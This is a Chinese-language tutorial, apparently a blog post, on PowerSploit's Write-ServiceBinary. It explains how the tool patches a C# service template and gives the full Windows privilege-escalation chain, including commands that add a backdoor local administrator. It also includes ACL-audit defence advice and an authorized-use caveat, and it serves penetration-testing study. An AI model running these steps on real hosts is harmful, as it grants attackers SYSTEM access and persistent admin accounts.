PowerSploit 提权实战:使用 Write-ServiceBinary 修补服务二进制实现本地权限提升
PowerSploit 提权实战使用 Write-ServiceBinary 修补服务二进制实现本地权限提升【免费下载链接】PowerSploitPowerSploit - A PowerShell Post-Exploitation Framework项目地址: https://gitcode.com/gh_mirrors/po/PowerSploit导读Write-ServiceBinary是 PowerSploit 的 Privesc 模块中 PowerUp 脚本Privesc/PowerUp.ps1提供的一个服务滥用工具它把一个预编译好的 C# 服务可执行文件作为模板将攻击者指定的命令修补patch进二进制内部再写出到目标路径从而在服务以 SYSTEM 权限启动时自动执行该命令。本文围绕 docs/Privesc/Write-ServiceBinary.md 展开完整讲解其语法、全部参数、五个官方示例并结合源码剖析其字节级修补原理与完整利用链。读完本文你将能够独立完成发现可写服务二进制 → 生成恶意服务程序 → 替换/安装 → 触发提权 → 恢复现场的全流程操作。一、功能概述什么是服务二进制滥用Windows 服务Service由服务控制管理器SCM负责启动默认以SYSTEM或管理员配置的高权限账户运行其可执行文件路径记录在服务的binPath中。如果某个服务的可执行文件或其所在目录可以被普通用户写入攻击者就能替换掉这个二进制文件——当服务被启动或重启时恶意代码就会以服务账户的权限通常是 SYSTEM执行从而实现本地权限提升。PowerUp 针对这类场景提供了完整工具链而Write-ServiceBinary正是其中生成恶意二进制的核心环节函数作用Get-ModifiableServiceFile枚举所有服务找出当前用户可写服务二进制路径的服务对应文档 Get-ModifiableServiceFile.mdWrite-ServiceBinary修补预编译 C# 服务二进制写入恶意命令并输出到指定路径本文主题Install-ServiceBinary备份原二进制并自动替换为Write-ServiceBinary生成的恶意版本对应文档 Install-ServiceBinary.mdRestore-ServiceBinary用.bak备份还原被替换的服务二进制对应文档 Restore-ServiceBinary.mdInvoke-ServiceAbuse一站式修改可写服务创建本地管理员或执行自定义命令对应文档 Invoke-ServiceAbuse.md从 Privesc/Privesc.psd1 的导出列表可以看到Write-ServiceBinary、Install-ServiceBinary、Restore-ServiceBinary均随模块导出而 Privesc/README.md 对它的定位是writes out a patched C# service binary that adds a local admin or executes a custom command写出一个修补过的 C# 服务二进制用于添加本地管理员或执行自定义命令。二、语法与参数详解Write-ServiceBinary的完整语法如下与 docs/Privesc/Write-ServiceBinary.md 中 SYNTAX 一节一致Write-ServiceBinary [-Name] String [-UserName String] [-Password String] [-LocalGroup String] [-Credential PSCredential] [-Command String] [-Path String]作者为 Will Schroederharmj0y许可证为 BSD 3-Clause无必需依赖Required Dependencies: None函数本体位于 Privesc/PowerUp.ps1。-Name必填服务的名称生成的恶意二进制将在该服务名下运行。Type: String Parameter Sets: (All) Aliases: ServiceName Required: True Position: 1 Default value: None Accept pipeline input: True (ByPropertyName, ByValue) Accept wildcard characters: False从源码看该参数带有ValueFromPipeline $True和ValueFromPipelineByPropertyName $True因此既可以直接传名字字符串也可以把Get-Service输出的服务对象直接通过管道传入见下文示例 2。函数会在PROCESS块内用Get-Service -Name $Name重新解析服务名——这意味着服务必须真实存在因为修补进二进制的是解析后的真实服务名。-UserName要添加的[domain\]username。Type: String Required: False Position: Named Default value: John Accept pipeline input: False Accept wildcard characters: False源码中的实际默认值是john。关键行为差异源码第 2656-2663 行在于用户名是否包含反斜杠\包含\域用户不创建用户只把该域账号加入本地组注入命令为net localgroup LocalGroup UserName /add不包含\本地用户先创建本地用户再将其加入组注入命令为net user UserName Password /add timeout /t 5 net localgroup LocalGroup UserName /add中间的timeout /t 5是为了确保账号创建完成后再加入组。-Password为添加的用户设置的密码。Type: String Required: False Position: Named Default value: Password123! Accept pipeline input: False Accept wildcard characters: False源码默认值同样为Password123!。注意该参数以明文形式存在于命令行与源码中这是针对本地权限提升测试场景的设计实际使用时应按需修改。-LocalGroup要把用户加入的本地组名。Type: String Required: False Position: Named Default value: Administrators Accept pipeline input: False Accept wildcard characters: False源码默认值为Administrators。该参数只影响net localgroup命令的目标组测试中也可指定Guests等组见 Tests/Privesc.tests.ps1 中的-LocalGroup Guests用例。-Credential一个[Management.Automation.PSCredential]对象用于指定要添加的用户名/密码。Type: PSCredential Required: False Position: Named Default value: [Management.Automation.PSCredential]::Empty Accept pipeline input: False Accept wildcard characters: False若同时指定-Credential与-UserName/-Password源码中BEGIN块优先使用$PSBoundParameters[Credential]分支第 2647-2654 行通过$Credential.UserName和$Credential.GetNetworkCredential().Password提取凭据否则回退到-UserName/-Password参数。这样可以在不把密码明文写在命令行的情况下使用。-Command要注入的自定义命令用于替代创建用户逻辑。Type: String Required: False Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False只要显式传入了-Command$PSBoundParameters[Command]为真就会忽略用户创建逻辑直接把该字符串作为服务要执行的命令。这是最灵活的用法——可以执行任意命令、反弹 Shell 脚本、或调用其他攻击载荷。-Path恶意二进制写出路径。Type: String Required: False Position: Named Default value: $(Convert-Path .)\service.exe Accept pipeline input: False Accept wildcard characters: False默认写到当前目录下的service.exe。通常的实践是先用Get-ModifiableServiceFile找到可写的服务二进制路径再通过-Path把恶意程序直接写到该路径覆盖原文件这也是Get-ModifiableServiceFile输出中AbuseFunction字段给出的调用方式见 Privesc/PowerUp.ps1Write-ServiceBinary -Name 服务名 -Path HijackPath三、五个官方示例逐一拆解示例 1默认参数添加本地管理员Write-ServiceBinary -Name VulnSVC在本地目录生成service.exe该二进制被安装为VulnSVC服务后会创建本地管理员账号john / Password123!并加入Administrators组。等价注入命令为net user john Password123! /add timeout /t 5 net localgroup Administrators john /add示例 2管道传入服务对象Get-Service VulnSVC | Write-ServiceBinary效果与示例 1 完全相同区别在于服务名通过管道按属性/值传入Accept pipeline input: True (ByPropertyName, ByValue)。这种写法在脚本化扫描中更常用例如与Get-ModifiableServiceFile输出对接。示例 3把域用户加入本地管理员组Write-ServiceBinary -Name VulnSVC -UserName TESTLAB\john因为用户名TESTLAB\john包含\函数判定为域账号不会创建新用户只注入net localgroup Administrators TESTLAB\john /add注意域用户必须已经存在于域中这里仅将其加入本机Administrators组。示例 4自定义本地账号与密码Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!生成创建本地账号backdoor / Password123!并加入Administrators组的二进制。等价命令为net user backdoor Password123! /add timeout /t 5 net localgroup Administrators backdoor /add示例 5执行自定义命令Write-ServiceBinary -Name VulnSVC -Command net ...不再创建用户直接把net ...字符串注入二进制。可替换为任何想在 SYSTEM 上下文执行的命令。四、底层原理字节级二进制修补Write-ServiceBinary的高明之处在于不需要编译任何新代码——它使用一份内嵌的、预先编译好的合法 C# 服务程序模板程序集名Updater内含ServiceBase派生类代码段中可见Updater.exe、System.ServiceProcess、OnStart等元数据通过两个固定偏移量直接改写内存字节服务名偏移 2458把Get-Service -Name $Name解析出的真实服务名以UnicodeUTF-16LE编码逐字节写入$Binary[$i2458]命令偏移 2535把构造好的$ServiceCommand用户创建命令或自定义-Command同样以 Unicode 编码逐字节写入$Binary[$i2535]。模板二进制以 Base64 字符串形式硬编码在函数BEGIN块中Privesc/PowerUp.ps1运行时通过[Convert]::FromBase64String()还原为[Byte[]]数组。两个偏移位置正是模板程序中预留的占位字符串所在处因此修补后生成的仍是一个结构完整、可被 SCM 正常加载的 PE 服务程序。随后用Set-Content -Value $Binary -Encoding Byte -Path $Path -Force将字节数组原样写出完成恶意二进制落地。函数最终返回一个类型为PowerUp.ServiceBinary的自定义对象源码第 2688-2693 行包含三个属性属性说明ServiceName解析后的真实服务名Path恶意二进制写出的路径Command实际注入的命令字符串[OutputType(PowerUp.ServiceBinary)]已在函数声明中标注Privesc/PowerUp.ps1。五、完整利用链从发现到提权再到恢复第 1 步发现可写服务加载模块后先用Get-ModifiableServiceFile枚举当前用户可写二进制路径的服务Import-Module Privesc # 或将 Privesc 目录放入 $Env:PSModulePath Get-ModifiableServiceFile该函数通过 WMIwin32_service枚举所有服务将每个服务的pathnamebinPath交给Get-ModifiablePath检查 ACL找出可写项实现见 Privesc/PowerUp.ps1。输出中的AbuseFunction字段会直接给出可复制的利用命令模板。第 2 步生成并落地恶意二进制# 手动两步走先写出再覆盖 Write-ServiceBinary -Name PowerUpService -Path C:\Program Files\VulnApp\service.exe # 或一步到位自动备份 替换 Install-ServiceBinary -Name PowerUpServiceInstall-ServiceBinary会先用Get-ServiceDetail与Get-ModifiablePath复核可写性不可写则直接throw把原二进制备份为原路径.exe.bak再内部调用Write-ServiceBinary完成替换Privesc/PowerUp.ps1。第 3 步触发服务启动Start-Service -Name PowerUpService服务以 SYSTEM 身份运行修补后的二进制执行注入的net user ... /add与net localgroup ... /add命令。第 4 步验证与恢复net localgroup Administrators # 确认 john 已加入 Restore-ServiceBinary -Name PowerUpService # 从 .bak 还原原二进制测试用例佐证仓库自带的 Pester 测试 Tests/Privesc.tests.ps1 完整验证了这条链路测试用sc.exe create PowerUpService创建测试服务执行Install-ServiceBinary后启动服务再检查net localgroup Administrators输出中是否出现john最后用Restore-ServiceBinary还原并断言.bak文件被清理。测试还覆盖了管道传服务名、传服务对象、-Credential方式、-LocalGroup Guests、自定义-Command以及服务不存在时应抛错且不创建用户等场景可作为理解本工具行为边界的参考。六、适用前提与注意事项前提条件必须在目标 Windows 主机上以具备 PowerShell 执行权限的账户运行利用成功的前提是当前用户对目标服务二进制路径具备写权限ACL 允许且服务以高权限账户启动。服务必须存在Write-ServiceBinary内部会执行Get-Service -Name $Name服务不存在时会直接报错对应测试用例 Tests/Privesc.tests.ps1。域用户只加组不建号用户名含\时不会执行net user ... /add请确保域账号已存在。密码明文风险-Password默认值及命令行传递均为明文生产环境测试请改用-CredentialPSCredential并在脚本内加密存储。修复与防御管理员应定期审计服务binPath及可执行文件目录的 ACL可借助Get-ServiceDetail、Test-ServiceDaclPermission确保Everyone/Users等组无写权限并对Install-ServiceBinary生成的.bak备份保持警惕。使用边界本工具属于后渗透Post-Exploitation框架 PowerSploit 的一部分仅应在获得授权的渗透测试、红队演练或安全研究环境中使用。七、相关资源本文主题文档docs/Privesc/Write-ServiceBinary.md函数源码Privesc/PowerUp.ps1Write-ServiceBinary、Privesc/PowerUp.ps1Install-ServiceBinary、Privesc/PowerUp.ps1Restore-ServiceBinary模块清单与导出Privesc/Privesc.psd1模块说明与安装方式Privesc/README.md自动化测试Tests/Privesc.tests.ps1配套文档Get-ModifiableServiceFile.md、Install-ServiceBinary.md、Restore-ServiceBinary.md、Invoke-ServiceAbuse.md、Get-ServiceDetail.md【免费下载链接】PowerSploitPowerSploit - A PowerShell Post-Exploitation Framework项目地址: https://gitcode.com/gh_mirrors/po/PowerSploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考